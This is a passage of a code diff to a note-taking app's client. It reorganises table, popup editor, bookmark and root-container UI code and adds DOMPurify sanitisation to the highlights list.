-import AttributeDetailWidget from "../../attribute_widgets/attribute_detail";
+
+import { useCallback, useContext, useEffect, useMemo, useRef, useState } from "preact/hooks";
+import { DataTreeModule, EditModule, FormatModule, FrozenColumnsModule, InteractionModule, MoveColumnsModule, MoveRowsModule, Options, PersistenceModule, ResizeColumnsModule, RowComponent,SortModule, Tabulator as VanillaTabulator} from 'tabulator-tables';
+
+import { t } from "../../../services/i18n";
 import SpacedUpdate from "../../../services/spaced_update";
+import AttributeDetailWidget from "../../attribute_widgets/attribute_detail";
+import CollectionProperties from "../../note_bars/CollectionProperties";
+import { ButtonOrActionButton } from "../../react/Button";
+import { useLegacyWidget } from "../../react/hooks";
+import { ParentComponent } from "../../react/react_utils";
+import { ViewModeProps } from "../interface";
+import useColTableEditing from "./col_editing";
+import { useContextMenu } from "./context_menu";
 import useData, { TableConfig } from "./data";
+import useRowTableEditing from "./row_editing";
+import { TableData } from "./rows";
+import Tabulator from "./tabulator";

 export default function TableView({ note, noteIds, notePath, viewConfig, saveConfig }: ViewModeProps<TableConfig>) {
    const tabulatorRef = useRef<VanillaTabulator>(null);
@@ -36,7 +38,7 @@ export default function TableView({ note, noteIds, notePath, viewConfig, saveCon
            dataTreeChildIndent: 20,
            dataTreeExpandElement: `<button class="tree-expand"><span class="bx bx-chevron-right"></span></button>`,
            dataTreeCollapseElement: `<button class="tree-collapse"><span class="bx bx-chevron-down"></span></button>`
-        }
+        };
    }, [ hasChildren ]);

    const rowFormatter = useCallback((row: RowComponent) => {
@@ -46,6 +48,16 @@ export default function TableView({ note, noteIds, notePath, viewConfig, saveCon

    return (
        <div className="table-view">
+            <CollectionProperties
+                note={note}
+                rightChildren={note.type !== "search" &&
+                    <>
+                        <ButtonOrActionButton triggerCommand="addNewRow" icon="bx bx-plus" text={t("table_view.new-row")} />
+                        <ButtonOrActionButton triggerCommand="addNewTableColumn" icon="bx bx-carousel" text={t("table_view.new-column")} />
+                    </>
+                }
+            />
+
            {rowData !== undefined && persistenceProps &&  (
                <>
                    <Tabulator
@@ -54,7 +66,6 @@ export default function TableView({ note, noteIds, notePath, viewConfig, saveCon
                        columns={columnDefs ?? []}
                        data={rowData}
                        modules={[ SortModule, FormatModule, InteractionModule, EditModule, ResizeColumnsModule, FrozenColumnsModule, PersistenceModule, MoveColumnsModule, MoveRowsModule, DataTreeModule ]}
-                        footerElement={<TableFooter note={note} />}
                        events={{
                            ...contextMenuEvents,
                            ...rowEditingEvents
@@ -67,24 +78,11 @@ export default function TableView({ note, noteIds, notePath, viewConfig, saveCon
                        rowFormatter={rowFormatter}
                        {...dataTreeProps}
                    />
-                    <TableFooter note={note} />
                </>
            )}
            {attributeDetailWidgetEl}
        </div>
-    )
-}
-
-function TableFooter({ note }: { note: FNote }) {
-    return (note.type !== "search" &&
-        <div className="tabulator-footer">
-            <div className="tabulator-footer-contents">
-                <Button triggerCommand="addNewRow" icon="bx bx-plus" text={t("table_view.new-row")} />
-                {" "}
-                <Button triggerCommand="addNewTableColumn" icon="bx bx-carousel" text={t("table_view.new-column")} />
-            </div>
-        </div>
-    )
+    );
 }

 function usePersistence(viewConfig: TableConfig | null | undefined, saveConfig: (newConfig: TableConfig) => void) {
--- a/apps/client/src/widgets/containers/root_container.ts
+++ b/apps/client/src/widgets/containers/root_container.ts
@@ -1,11 +1,12 @@
-import { EventData } from "../../components/app_context.js";
 import { LOCALES } from "@triliumnext/commons";
-import { readCssVar } from "../../utils/css-var.js";
-import FlexContainer from "./flex_container.js";
-import options from "../../services/options.js";
-import type BasicWidget from "../basic_widget.js";
-import utils from "../../services/utils.js";
+
+import { EventData } from "../../components/app_context.js";
 import { getEnabledExperimentalFeatureIds } from "../../services/experimental_features.js";
+import options from "../../services/options.js";
+import utils, { isMobile } from "../../services/utils.js";
+import { readCssVar } from "../../utils/css-var.js";
+import type BasicWidget from "../basic_widget.js";
+import FlexContainer from "./flex_container.js";

 /**
 * The root container is the top-most widget/container, from which the entire layout derives.
@@ -17,14 +18,12 @@ import { getEnabledExperimentalFeatureIds } from "../../services/experimental_fe
 * - `#root-container.vertical-layout`, if the current layout is horizontal.
 */
 export default class RootContainer extends FlexContainer<BasicWidget> {
-    private originalViewportHeight: number;

    constructor(isHorizontalLayout: boolean) {
        super(isHorizontalLayout ? "column" : "row");

        this.id("root-widget");
        this.css("height", "100dvh");
-        this.originalViewportHeight = getViewportHeight();
    }

    render(): JQuery<HTMLElement> {
@@ -39,6 +38,7 @@ export default class RootContainer extends FlexContainer<BasicWidget> {
        this.#setThemeCapabilities();
        this.#setLocaleAndDirection(options.get("locale"));
        this.#setExperimentalFeatures();
+        this.#initPWATopbarColor();

        return super.render();
    }
@@ -64,8 +64,12 @@ export default class RootContainer extends FlexContainer<BasicWidget> {
    }

    #onMobileResize() {
-        const currentViewportHeight = getViewportHeight();
-        const isKeyboardOpened = (currentViewportHeight < this.originalViewportHeight);
+        const viewportHeight = window.visualViewport?.height ?? window.innerHeight;
+        const windowHeight = window.innerHeight;
+
+        // If viewport is significantly smaller, keyboard is likely open
+        const isKeyboardOpened = windowHeight - viewportHeight > 150;
+
        this.$widget.toggleClass("virtual-keyboard-opened", isKeyboardOpened);
    }

@@ -88,7 +92,7 @@ export default class RootContainer extends FlexContainer<BasicWidget> {
    }

    #setBackdropEffects() {
-        const enabled = options.is("backdropEffectsEnabled");
+        const enabled = options.is("backdropEffectsEnabled") && !isMobile();
        document.body.classList.toggle("backdrop-effects-disabled", !enabled);
    }

@@ -96,7 +100,7 @@ export default class RootContainer extends FlexContainer<BasicWidget> {
        // Supports background effects

        const useBgfx = readCssVar(document.documentElement, "allow-background-effects")
-                        .asBoolean(false);
+            .asBoolean(false);

        document.body.classList.toggle("theme-supports-background-effects", useBgfx);
    }
@@ -112,8 +116,23 @@ export default class RootContainer extends FlexContainer<BasicWidget> {
        document.body.lang = locale;
        document.body.dir = correspondingLocale?.rtl ? "rtl" : "ltr";
    }
+
+    #initPWATopbarColor() {
+        if (!utils.isPWA()) return;
+        const tracker = $("#background-color-tracker");
+
+        if (tracker.length) {
+            const applyThemeColor = () => {
+                let meta = $("meta[name='theme-color']");
+                if (!meta.length) {
+                    meta = $(`<meta name="theme-color">`).appendTo($("head"));
+                }
+                meta.attr("content", tracker.css("color"));
+            };
+
+            tracker.on("transitionend", applyThemeColor);
+            applyThemeColor();
+        }
+    }
 }

-function getViewportHeight() {
-    return window.visualViewport?.height ?? window.innerHeight;
-}
--- a/apps/client/src/widgets/containers/scrolling_container.css
+++ b/apps/client/src/widgets/containers/scrolling_container.css
@@ -1,14 +1,26 @@
 .scrolling-container {
+    --content-margin-inline: 24px;
+
    overflow: auto;
    scroll-behavior: smooth;
    position: relative;

-    > .inline-title,
-    > .note-detail > .note-detail-editable-text,
-    > .note-list-widget:not(.full-height) {
-        padding-inline: 24px;
+    > .note-detail > .note-detail-editable-text > .note-detail-editable-text-editor,
+    > .note-list-widget:not(.full-height) .note-list-wrapper {
+        margin-inline: var(--content-margin-inline);
    }

+    > .inline-title {
+        padding-inline: var(--content-margin-inline);
+    }
+
+    > .note-detail > .note-detail-editable-text > .note-detail-editable-text-editor {
+        overflow: unset;
+    }
+}
+
+body.mobile .scrolling-container {
+    --content-margin-inline: 8px;
 }

 .note-split.type-code:not(.mime-text-x-sqlite) {
--- a/apps/client/src/widgets/dialogs/PopupEditor.css
+++ b/apps/client/src/widgets/dialogs/PopupEditor.css
@@ -32,6 +32,12 @@ body.mobile .modal.popup-editor-dialog .modal-dialog {
    display: flex;
    align-items: center;
    margin-block: 0;
+
+    .note-icon-widget {
+        display: flex;
+        align-items: center;
+        margin-inline-start: 0;
+    }
 }

 .modal.popup-editor-dialog .modal-header .note-title-widget {
@@ -91,8 +97,9 @@ body.mobile .modal.popup-editor-dialog .modal-dialog {
    height: 100%;
 }

-.modal.popup-editor-dialog .note-detail-editable-text {
-    padding: 0 1em;
+.modal.popup-editor-dialog .note-detail-editable-text-editor {
+    margin: 0 28px;
+    overflow: visible; /* Allow selection rectangle to go outside of the editor area */
 }

 .modal.popup-editor-dialog .note-detail-file {
--- a/apps/client/src/widgets/dialogs/PopupEditor.tsx
+++ b/apps/client/src/widgets/dialogs/PopupEditor.tsx
@@ -5,13 +5,15 @@ import { useContext, useEffect, useMemo, useRef, useState } from "preact/hooks";

 import appContext from "../../components/app_context";
 import NoteContext from "../../components/note_context";
+import { isExperimentalFeatureEnabled } from "../../services/experimental_features";
 import froca from "../../services/froca";
 import { t } from "../../services/i18n";
 import tree from "../../services/tree";
 import utils from "../../services/utils";
 import NoteList from "../collections/NoteList";
 import FloatingButtons from "../FloatingButtons";
-import { DESKTOP_FLOATING_BUTTONS, MOBILE_FLOATING_BUTTONS, POPUP_HIDDEN_FLOATING_BUTTONS } from "../FloatingButtonsDefinitions";
+import { DESKTOP_FLOATING_BUTTONS, POPUP_HIDDEN_FLOATING_BUTTONS } from "../FloatingButtonsDefinitions";
+import NoteBadges from "../layout/NoteBadges";
 import NoteIcon from "../note_icon";
 import NoteTitleWidget from "../note_title";
 import NoteDetail from "../NoteDetail";
@@ -23,8 +25,6 @@ import ReadOnlyNoteInfoBar from "../ReadOnlyNoteInfoBar";
 import StandaloneRibbonAdapter from "../ribbon/components/StandaloneRibbonAdapter";
 import FormattingToolbar from "../ribbon/FormattingToolbar";
 import MobileEditorToolbar from "../type_widgets/text/mobile_editor_toolbar";
-import NoteBadges from "../layout/NoteBadges";
-import { isExperimentalFeatureEnabled } from "../../services/experimental_features";

 const isNewLayout = isExperimentalFeatureEnabled("new-layout");

@@ -34,7 +34,7 @@ export default function PopupEditor() {
    const [ noteContext, setNoteContext ] = useState(new NoteContext("_popup-editor"));
    const isMobile = utils.isMobile();
    const items = useMemo(() => {
-        const baseItems = isMobile ? MOBILE_FLOATING_BUTTONS : DESKTOP_FLOATING_BUTTONS;
+        const baseItems = isMobile ? [] : DESKTOP_FLOATING_BUTTONS;
        return baseItems.filter(item => !POPUP_HIDDEN_FLOATING_BUTTONS.includes(item));
    }, [ isMobile ]);

@@ -67,10 +67,7 @@ export default function PopupEditor() {
        <NoteContextContext.Provider value={noteContext}>
            <DialogWrapper>
                <Modal
-                    title={<>
-                        <TitleRow />
-                        {isNewLayout && <NoteBadges />}
-                    </>}
+                    title={<TitleRow />}
                    customTitleBarButtons={[{
                        iconClassName: "bx-expand-alt",
                        title: t("popup-editor.maximize"),
@@ -123,6 +120,7 @@ export function TitleRow() {
        <div className="title-row">
            <NoteIcon />
            <NoteTitleWidget />
+            {isNewLayout && <NoteBadges />}
        </div>
    );
 }
--- a/apps/client/src/widgets/dialogs/bulk_actions.tsx
+++ b/apps/client/src/widgets/dialogs/bulk_actions.tsx
@@ -57,7 +57,7 @@ export default function BulkActionsDialog() {
            className="bulk-actions-dialog"
            size="xl"
            title={t("bulk_actions.bulk_actions")}
-            footer={<Button text={t("bulk_actions.execute_bulk_actions")} primary />}
+            footer={<Button text={t("bulk_actions.execute_bulk_actions")} kind="primary" />}
            show={shown}
            onSubmit={async () => {
                await server.post("bulk-action/execute", {
--- a/apps/client/src/widgets/dialogs/call_to_action_definitions.ts
+++ b/apps/client/src/widgets/dialogs/call_to_action_definitions.ts
@@ -1,7 +1,7 @@
 import appContext from "../../components/app_context";
 import { t } from "../../services/i18n";
 import options from "../../services/options";
-import utils from "../../services/utils";
+import utils, { isMac } from "../../services/utils";

 /**
 * A "call-to-action" is an interactive message for the user, generally to present new features.
@@ -41,10 +41,6 @@ export interface CallToAction {
    }[];
 }

-function isNextTheme() {
-    return [ "next", "next-light", "next-dark" ].includes(options.get("theme"));
-}
-
 const CALL_TO_ACTIONS: CallToAction[] = [
    {
        id: "new_layout",
@@ -63,7 +59,7 @@ const CALL_TO_ACTIONS: CallToAction[] = [
        id: "background_effects",
        title: t("call_to_action.background_effects_title"),
        message: t("call_to_action.background_effects_message"),
-        enabled: () => false,
+        enabled: () => (isMac() && !options.is("backgroundEffects")),
        buttons: [
            {
                text: t("call_to_action.background_effects_button"),
@@ -78,7 +74,7 @@ const CALL_TO_ACTIONS: CallToAction[] = [
        id: "next_theme",
        title: t("call_to_action.next_theme_title"),
        message: t("call_to_action.next_theme_message"),
-        enabled: () => !isNextTheme(),
+        enabled: () => ![ "next", "next-light", "next-dark" ].includes(options.get("theme")),
        buttons: [
            {
                text: t("call_to_action.next_theme_button"),
--- a/apps/client/src/widgets/dialogs/delete_notes.tsx
+++ b/apps/client/src/widgets/dialogs/delete_notes.tsx
@@ -72,7 +72,7 @@ export default function DeleteNotesDialog() {
            footer={<>
                <Button text={t("delete_notes.cancel")}
                    onClick={() => setShown(false)} />
-                <Button text={t("delete_notes.ok")} primary
+                <Button text={t("delete_notes.ok")} kind="primary"
                    buttonRef={okButtonRef}
                    onClick={() => {
                        opts.callback?.({ proceed: true, deleteAllClones, eraseNotes });
--- a/apps/client/src/widgets/dialogs/export.tsx
+++ b/apps/client/src/widgets/dialogs/export.tsx
@@ -58,7 +58,7 @@ export default function ExportDialog() {
                setShown(false);
            }}
            onHidden={() => setShown(false)}
-            footer={<Button className="export-button" text={t("export.export")} primary />}
+            footer={<Button className="export-button" text={t("export.export")} kind="primary" />}
            show={shown}
        >

--- a/apps/client/src/widgets/dialogs/import.tsx
+++ b/apps/client/src/widgets/dialogs/import.tsx
@@ -55,7 +55,7 @@ export default function ImportDialog() {
                setShown(false);
                setFiles(null);
            }}
-            footer={<Button text={t("import.import")} primary disabled={!files} />}
+            footer={<Button text={t("import.import")} kind="primary" disabled={!files} />}
            show={shown}
        >
            <FormGroup name="files" label={t("import.chooseImportFile")} description={
--- a/apps/client/src/widgets/dialogs/prompt.tsx
+++ b/apps/client/src/widgets/dialogs/prompt.tsx
@@ -69,7 +69,7 @@ export default function PromptDialog() {
                submitValue.current = null;
                opts.current = undefined;
            }}
-            footer={<Button text={t("prompt.ok")} keyboardShortcut="Enter" primary />}
+            footer={<Button text={t("prompt.ok")} keyboardShortcut="Enter" kind="primary" />}
            show={shown}
            stackable
        >
--- a/apps/client/src/widgets/dialogs/revisions.tsx
+++ b/apps/client/src/widgets/dialogs/revisions.tsx
@@ -203,7 +203,7 @@ function RevisionPreview({noteContent, revisionItem, showDiff, setShown, onRevis
                                }} />
                            &nbsp;
                            <Button
-                                primary
+                                kind="primary"
                                icon="bx bx-download"
                                text={t("revisions.download_button")}
                                onClick={() => {
--- a/apps/client/src/widgets/dialogs/upload_attachments.tsx
+++ b/apps/client/src/widgets/dialogs/upload_attachments.tsx
@@ -35,7 +35,7 @@ export default function UploadAttachmentsDialog() {
            className="upload-attachments-dialog"
            size="lg"
            title={t("upload_attachments.upload_attachments_to_note")}
-            footer={<Button text={t("upload_attachments.upload")} primary disabled={!files || isUploading} />}
+            footer={<Button text={t("upload_attachments.upload")} kind="primary" disabled={!files || isUploading} />}
            onSubmit={async () => {
                if (!files || !parentNoteId) {
                    return;
--- a/apps/client/src/widgets/highlights_list.ts
+++ b/apps/client/src/widgets/highlights_list.ts
@@ -13,6 +13,27 @@ import katex from "../services/math.js";
 import options from "../services/options.js";
 import OnClickButtonWidget from "./buttons/onclick_button.js";
 import RightPanelWidget from "./right_panel_widget.js";
+import DOMPurify from "dompurify";
+
+/**
+ * DOMPurify configuration for highlight list items. Only allows inline
+ * formatting tags that appear in highlighted text (bold, italic, underline,
+ * colored/background-colored spans, KaTeX math output).
+ */
+const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS: [
+        "b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
+        "code", "mark", "span", "abbr", "small", "a",
+        // KaTeX rendering output elements
+        "math", "semantics", "mrow", "mi", "mo", "mn", "msup",
+        "msub", "mfrac", "mover", "munder", "munderover",
+        "msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
+        "mspace", "annotation"
+    ],
+    ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false
+};

 const TPL = /*html*/`<div class="highlights-list-widget">
    <style>
@@ -255,7 +276,7 @@ export default class HighlightsListWidget extends RightPanelWidget {

            if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
                // If the previous element is connected to this element in HTML, then concatenate them into one.
-                $highlightsList.children().last().append(subHtml);
+                $highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
            } else {
                // TODO: can't be done with $(subHtml).text()?
                //Can’t remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -267,12 +288,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
                    //If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
                    if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
                        const $lastLi = $highlightsList.children("li").last();
-                        $lastLi.append(await this.replaceMathTextWithKatax(substring));
-                        $lastLi.append(subHtml);
+                        $lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
+                        $lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
                    } else {
                        $highlightsList.append(
                            $("<li>")
-                                .html(subHtml)
+                                .html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
                                .on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
                        );
                    }
--- a/apps/client/src/widgets/launch_bar/BookmarkButtons.tsx
+++ b/apps/client/src/widgets/launch_bar/BookmarkButtons.tsx
@@ -1,11 +1,16 @@
-import { useContext, useMemo } from "preact/hooks";
-import { LaunchBarContext, LaunchBarDropdownButton, useLauncherIconAndTitle } from "./launch_bar_widgets";
-import { CSSProperties } from "preact";
-import type FNote from "../../entities/fnote";
-import { useChildNotes, useNoteLabelBoolean } from "../react/hooks";
 import "./BookmarkButtons.css";
+
+import { CSSProperties } from "preact";
+import { useContext, useMemo } from "preact/hooks";
+
+import type FNote from "../../entities/fnote";
+import { t } from "../../services/i18n";
+import { FormDropdownSubmenu, FormListItem } from "../react/FormList";
+import { useChildNotes, useNote, useNoteIcon, useNoteLabelBoolean } from "../react/hooks";
 import NoteLink from "../react/NoteLink";
-import { CustomNoteLauncher } from "./GenericButtons";
+import ResponsiveContainer from "../react/ResponsiveContainer";
+import { CustomNoteLauncher, launchCustomNoteLauncher } from "./GenericButtons";
+import { LaunchBarContext, LaunchBarDropdownButton, useLauncherIconAndTitle } from "./launch_bar_widgets";

 const PARENT_NOTE_ID = "_lbBookmarks";

@@ -19,17 +24,64 @@ export default function BookmarkButtons() {
    const childNotes = useChildNotes(PARENT_NOTE_ID);

    return (
-        <div style={style}>
-            {childNotes?.map(childNote => <SingleBookmark key={childNote.noteId} note={childNote} />)}
-        </div>
-    )
+        <ResponsiveContainer
+            desktop={
+                <div style={style}>
+                    {childNotes?.map(childNote => <SingleBookmark key={childNote.noteId} note={childNote} />)}
+                </div>
+            }
+            mobile={
+                <LaunchBarDropdownButton
+                    icon="bx bx-bookmark"
+                    title={t("bookmark_buttons.bookmarks")}
+                >
+                    {childNotes?.map(childNote => <SingleBookmark key={childNote.noteId} note={childNote} />)}
+                </LaunchBarDropdownButton>
+            }
+        />
+    );
 }

 function SingleBookmark({ note }: { note: FNote }) {
    const [ bookmarkFolder ] = useNoteLabelBoolean(note, "bookmarkFolder");
-    return bookmarkFolder
-        ? <BookmarkFolder note={note} />
-        : <CustomNoteLauncher launcherNote={note} getTargetNoteId={() => note.noteId} />
+    return <ResponsiveContainer
+        desktop={
+            bookmarkFolder
+                ? <BookmarkFolder note={note} />
+                : <CustomNoteLauncher launcherNote={note} getTargetNoteId={() => note.noteId} />
+        }
+        mobile={<MobileBookmarkItem noteId={note.noteId} bookmarkFolder={bookmarkFolder} />}
+    />;
+}
+
+function MobileBookmarkItem({ noteId, bookmarkFolder }: { noteId: string, bookmarkFolder: boolean }) {
+    const note = useNote(noteId);
+    const noteIcon = useNoteIcon(note);
+    if (!note) return null;
+
+    return (
+        !bookmarkFolder
+            ? <FormListItem icon={noteIcon} onClick={(e) => launchCustomNoteLauncher(e, { launcherNote: note, getTargetNoteId: () => note.noteId })}>{note.title}</FormListItem>
+            : <MobileBookmarkFolder note={note} />
+    );
+}
+
+function MobileBookmarkFolder({ note }: { note: FNote }) {
+    const childNotes = useChildNotes(note.noteId);
+
+    return (
+        <FormDropdownSubmenu icon="bx bx-folder" title={note.title}>
+            {childNotes.map(childNote => (
+                <FormListItem
+                    key={childNote.noteId}
+                    icon={childNote.getIcon()}
+                    onClick={(e) => launchCustomNoteLauncher(e, { launcherNote: childNote, getTargetNoteId: () => childNote.noteId })}
+                >
+                    {childNote.title}
+                </FormListItem>
+            ))}
+        </FormDropdownSubmenu>
+    );
 }

 function BookmarkFolder({ note }: { note: FNote }) {
@@ -55,5 +107,5 @@ function BookmarkFolder({ note }: { note: FNote }) {
                </ul>
            </div>
        </LaunchBarDropdownButton>
-    )
+    );
 }
--- a/Show More
+++ b/Show More
@@ -1 +1 @@
 .13.0
 .13.1